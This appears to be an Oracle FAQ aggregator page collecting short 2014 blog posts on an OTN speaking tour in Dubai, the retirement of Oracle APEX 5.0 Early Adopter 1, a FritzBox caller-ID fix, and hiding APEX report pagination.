I had too many amazing experience to recount (and this is already seeming a bit like an advertisement for Dubai) but the most fundamentally changing experience of my trip was a visit to a mosque in Dubai.  Hosted by an eloquent British Muslim woman in a black abbeyah, she spent an hour educating a group of Westerners all about Islam.  I was taken aback by how... peaceful their religion is.  She covered the 5 pillars of Islam in a way that made me understand 1,000,000,000+ Muslims far better than I ever have.  I think that if everyone in the Western world could attend that one hour I did, we would have a level of cultural understanding that would ease a ton of our current fears.  They let us take lots of pictures and even let us video them doing 5 minutes of prayers.  It was moving and if you are ever in Dubai, make sure you visit the Jumeirah Mosque during one of their visitation hours (it's free unlike most everything else in Dubai).

My final presentation was in Dubai and it was a bittersweet end to a whirlwind week.  Every single day was spent traveling, speaking, or both, so it was nice to finally have a break.  That said, I will consider the other members of the OTN MENA 5 to be friends for life and I miss them already.  As I finished my presentation on Big Data (for the third time on the trip), I looked out at the anxious faces in the audience and realized that I would miss the Muslim world far more than I ever expected to.  

If there's ever a 2nd OTN tour of the Middle East, Africa, or both, sign me up.  Until then, thank you for letting me be a part of the most inspirational, educational tour I've ever experienced.

Categories: BI & Warehousing

Oracle Application Express 5.0 Early Adopter 2 is on the Horizon

Joel Kallman - Wed, 2014-06-11 10:57


Oracle Application Express 5.0 Early Adopter 2 is on the horizon.  This also means that the current instance of Oracle Application Express 5.0 Early Adopter 1 (https://apexea.oracle.com) is going away soon.  This involves deleting the current database and creating one anew.  Nothing will be migrated or saved.  To try out Early Adopter 2, you will need to sign up for a new workspace.  So if you have anything in your workspace in Early Adopter 1 that you would like to save, now is the time to copy it or export it.  Also understand that there is a good chance that application export files from Early Adopter 1 may not import or function properly in Early Adopter 2.

The response and feedback we've received from Early Adopter 1 has been extraordinary.  There were 4,164 workspaces and over 5,200 users who tried out Oracle Application Express 5.0 Early Adopter 1.  The suggestions and bug reports and feedback have all been enormously valuable, and for which the entire Oracle Application Express team is grateful.

FritzBox 7270: CLIP stops working after upgrading to FritzOS 6.05 (problem solved)

Dietrich Schroff - Wed, 2014-06-11 00:02
After upgrading to FritzOS 6.05 CLIP stopped working with my analog phone.
The settings looked quite ok: (Telefonie -> Telefoniegeräte -> bearbeiten -> Merkmale des Telefoniegeräts)

This basic feature was certainly not shipped without testing. So this has to be a problem of data/parameter migration.
After unchecking CLIP, doing a reboot and checking the box again CLIP, it worked like before...

Hiding APEX report pagination when trivial

Tony Andrews - Tue, 2014-06-10 12:33
The users are quite happy with pagination like this: However, they don't like it when the report returns less than a pageful of rows and they see this: (Fussy, I know). This is one way to do it.  First, ensure that the pagination area itself is identifiable.  I put a div around it with a class of "pagination": Then add some Javascript to the "Execute when page loads" attribute of theTony Andrewshttp://www.blogger.com/profile/16750945985361011515noreply@blogger.com0http://tonyandrews.blogspot.com/2014/06/hiding-apex-report-pagination-when.html

Pages

Subscribe to Oracle FAQ aggregator